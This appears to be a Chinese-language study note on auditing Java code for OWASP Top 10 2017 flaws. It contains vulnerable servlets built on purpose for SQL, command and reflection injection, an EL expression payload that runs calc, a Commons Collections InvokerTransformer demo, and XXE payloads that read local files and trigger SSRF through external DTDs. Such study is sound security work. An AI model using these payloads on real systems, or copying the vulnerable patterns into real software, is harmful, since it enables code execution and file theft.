第五章 OWASP TOP 10 2017 漏洞代码审计
1.sql注入
jdbc拼接不当引起的sql注入,主要用到PreparedStatement
自己写个案例试一下
用Servlet的案例
先写个工具类
package util; import java.sql.*; public class DBConn { static String url = "jdbc:mysql://localhost:3306/yourdatabase?useUnicode=true&characterEncoding=utf8"; static String user ="root"; static String password ="123456"; static Connection conn=null; static ResultSet rs=null; static PreparedStatement ps = null; public static void init(){ try { Class.forName("com.mysql.jdbc.Driver"); conn= DriverManager.getConnection(url, user, password); } catch (Exception e) { // TODO: handle exception System.out.println("初始化失败"); e.printStackTrace(); } } /** * 增加修改删除操作 * @param sql * @return */ public static int addUpdDel(String sql){ int i=0; try { PreparedStatement ps = conn.prepareStatement(sql); i=ps.executeUpdate(); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库增删改异常"); e.printStackTrace(); } return i; } //数据库查询操作 public static ResultSet selectSql(String sql){ try { ps=conn.prepareStatement(sql); rs=ps.executeQuery(sql); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库查询异常"); e.printStackTrace(); } return rs; } //关闭连接 public static void closeConn(){ try { ps.close(); conn.close(); } catch (SQLException e) { // TODO Auto-generated catch block System.out.println("sql数据库关闭异常"); e.printStackTrace(); } } }
再写个servlet
@WebServlet("/sqltest") public class JdbcSqlInject extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String sql="select * from user_domain where id="+req.getParameter("id"); resp.getWriter().write(sql); try{ DBConn.init(); ResultSet rs=DBConn.selectSql(sql); while (rs.next()){ String name=rs.getString("user"); resp.getWriter().write("\n"); resp.getWriter().write(name); } } catch (SQLException throwables) { throwables.printStackTrace(); } } }
引入驱动mysql-connector-java-5.1.46.jar
访问:
http://localhost:8080/ServletTest/sqltest?id=1%20or%201=1
注入成功
正确的做法
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String sql = "select * from user_domain where id=?";
String id = req.getParameter("id");
resp.getWriter().write(sql);
try {
DBConn.init();
ResultSet rs = DBConn.selectSql(sql, id);
while(rs.next()) {
String name = rs.getString("user");
resp.getWriter().write("\n");
resp.getWriter().write(name);
}
} catch (SQLException var7) {
var7.printStackTrace();
}
}
//数据库查询操作
public static ResultSet selectSql(String sql,String id){
try {
ps=conn.prepareStatement(sql);
ps.setInt(1,Integer.parseInt(id));
rs=ps.executeQuery();
} catch (SQLException e) {
// TODO Auto-generated catch block
System.out.println("sql数据库查询异常");
e.printStackTrace();
}
return rs;
}
框架注入mybatis 之前实践过,就省略了
https://www.cnblogs.com/fczlm/p/14273064.html
Hibernate遇到的比较少,暂时省略
命令注入
写一个命令注入的Servlet
import org.omg.SendingContext.RunTime; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.Arrays; @WebServlet("/ComTest") public class ComTest extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String cmd =req.getParameter("cmd"); Process process= Runtime.getRuntime().exec(cmd); InputStream in= process.getInputStream(); ByteArrayOutputStream ba=new ByteArrayOutputStream(); byte[] b =new byte[1024]; int i =-1; while ((i= in.read(b))!=-1){ ba.write(b,0,i); } resp.getWriter().write(ba.toString()); } }
命令注入的局限
连接符:|,||,&,&&
java环境的命令注入局限,连接符拼接的字符串不会产生命令注入
代码注入
比如java的反射机制,凑一段这样的代码,然后执行http://localhost:8080/ServletTest/ReflexTest?name=java.lang.Runtime&method=getRuntime&method2=exec&args=whoami
就能执行任意命令了
@WebServlet("/ReflexTest") public class ReflexTest extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String class_name=req.getParameter("name"); String class_method=req.getParameter("method"); String class_method2=req.getParameter("method2"); String Args=req.getParameter("args"); //String[] Args=new String[]{req.getParameter("args").toString()}; try{ Class<?> clazz= Class.forName(class_name); Method method=clazz.getMethod(class_method); Object rt=method.invoke(clazz); clazz.getMethod(class_method2,String.class).invoke(rt, Args); } catch (ClassNotFoundException | NoSuchMethodException | InvocationTargetException | IllegalAccessException e) { e.printStackTrace(); } } }
是不是觉得这就是你自己凑出来的,真实项目中哪有人给你这样设计好了等你日,嘿,还就真有
java反序列化命令执行中用到了Apache Commons cokkections组件3.1版本,有一段通过利用反射机制完成特定功能的代码。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
那么回顾一下java反序列化命令执行。
首先我们引入Apache Commons cokkections的版本,尝试一下,用InvokerTransformer,到底能不能执行runtime
这里用spring boot maven引入吧,比较好搞一些
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>
然后main下执行这样的代码:
InvokerTransformer test=new InvokerTransformer("exec",new Class[] {String.class},new Object[] {"calc.exe"}); Runtime rt=Runtime.getRuntime(); test.transform(rt);
可以确认一点transform是可以通过反射机制,执行Runtime从而命令执行的。
那如果transform传入的对象,我们可控,InvokerTransformer的对象中的内容也可控,那会怎么样?具体分析之前分析学习过https://www.cnblogs.com/fczlm/p/14293107.html
5.表达式注入
5.1EL表达式注入
是一种在JSP页面获取数据的简单方式(只能获取数据,不能设置数据)
语法格式
在JSP页面的任何静态部分均可通过:${expression}来获取到指定表达式的值
EL只能从四大域中获取属性
page,request,session,application
实例1:获取url参数
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>$Title$</title> </head> <body> ${param.name} </body> </html>
实例2,实例化java的内置类
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>$Title$</title> </head> <body> ${Runtime.getRuntime().exec("calc")} </body> </html>
EL表达式注入漏洞和SpEL、OGNL等表达式注入漏洞是一样的漏洞原理的,即表达式外部可控导致攻击者注入恶意表达式实现任意代码执行。
一般的,EL表达式注入漏洞的外部可控点入口都是在Java程序代码中,即Java程序中的EL表达式内容全部或部分是从外部获取的。
案例:
import de.odysseus.el.ExpressionFactoryImpl; import de.odysseus.el.util.SimpleContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; public class Test { public static void main(String[] args) { ExpressionFactory expressionFactory = new ExpressionFactoryImpl(); SimpleContext simpleContext = new SimpleContext(); // failed // String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"; ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class); System.out.println(valueExpression.getValue(simpleContext)); } }
但是在实际场景中,是几乎没有也无法直接从外部控制JSP页面中的EL表达式的。而目前已知的EL表达式注入漏洞都是框架层面服务端执行的EL表达式外部可控导致的
5.1.2模板注入
略
5.2 失效的身份认证
略
5.3敏感信息泄露
略
5.4XXE
XML 的解析过程中若存在外部实体,若不添加安全的XML解析配置,则XML文档将包含来自外部 URI 的数据。这一行为将导致XML External Entity (XXE) 攻击,从而用于拒绝服务攻击,任意文件读取,扫内网扫描。
在Java中其实存在着非常多的解析XML的库,同时由于在Java应用中会大量地使用到XML,因此就会出现使用不同的库对XML继续解析,而编写这些代码的研发人员并没有相关的安全背景,所以就导致了层出不穷地Java XXE漏洞。
案例1:
DocumentBuilderFactory
案例
@PostMapping(value="/xxetest",produces = "application/xml;charset=UTF-8") public void xxeTest(@RequestBody String xml) throws ParserConfigurationException, IOException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); builder.parse(new InputSource(new StringReader(xml))); }
POST http://127.0.0.1:8080/xxetest HTTP/1.1 User-Agent: Fiddler Content-Type: application/xml;charset=UTF-8 Host: 127.0.0.1:8080 Content-Length: 106 <?xml version="1.0"?> <!DOCTYPE creds SYSTEM "http://**.com/ssrf.php"> <creds>&b;</creds>
收到收到ssrf请求
User-Agent: Java/1.8.0_191 Host: ** Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive REMOTE_ADDR:** 2021/09/18 04/36/48pm
其他payload也记录下吧
有回显的
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> <creds>&goodies;</creds>
引入的外部的dtd
<?xml version="1.0"?> <!DOCTYPE creds SYSTEM "http://127.0.0.1/test/evil.dtd"> <creds>&b;</creds> ********** http://127.0.0.1/test/evil.dtd的数据 <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY % goodies SYSTEM "http://127.0.0.1/test/evil.dtd"> %goodies; ]> <creds>&b;</creds> ******** evil.dtd <!ENTITY b SYSTEM "file:///c:/windows/system.ini">
php 的
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> ]> <creds>&goodies;</creds>
此外还有
SAXBuilder,
SAXParserFactory,
SAXReader
SAXTransformerFactory,
SchemaFactory,
TransformerFactory
ValidatorSample,
XMLReader
参考这个https://blog.spoock.com/2018/10/23/java-xxe/
5.5失效的访问控制
略
5.6不安全配置
略,但是之后要补充练习
5.7跨站脚本
略
5.8 不安全的反序列化
感觉描述的不太清晰,日后查查资料再练习下。
5.9使用含有已知漏洞的组件
略
5.10 CRLF注入
回车换行注入漏洞
<html> <head> <title>$Title$</title> </head> <body> <% String val=request.getParameter("val"); Logger log =Logger.getLogger("log"); log.setLevel(Level.INFO); try{ int value =Integer.parseInt(val); System.out.println(value); } catch (Exception e){ log.info("Filed"+val); } %> </body> </html>